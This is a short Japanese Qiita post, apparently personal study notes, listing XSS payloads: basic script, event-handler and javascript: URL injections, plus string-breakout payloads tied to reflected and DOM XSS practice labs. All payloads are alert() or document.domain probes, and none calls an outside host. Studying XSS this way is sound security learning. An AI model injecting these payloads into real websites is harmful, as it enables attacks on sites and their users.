LoginSignup
1
0

XSS cheatsheet(個人用メモ)

Last updated at Posted at 2024-03-07

基本の攻撃コード

<script>alert(1)</script>
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
<input autofocus onfocus=alert(1)>
<input onmouseover="alert(1)">

URLスキーム
javascript:alert(1)

文字列リテラルから抜け出す

  • [XSSコンテキスト] Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded
'+alert(document.domain)+'
'-alert(document.domain)-'
';alert(document.domain)//
';alert(1);'
  • [DOMベースのXSS] Lab: Reflected DOM XSS
\"+alert(1)}//
\"-alert(1)}//

失敗
\";alert(1)}//
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0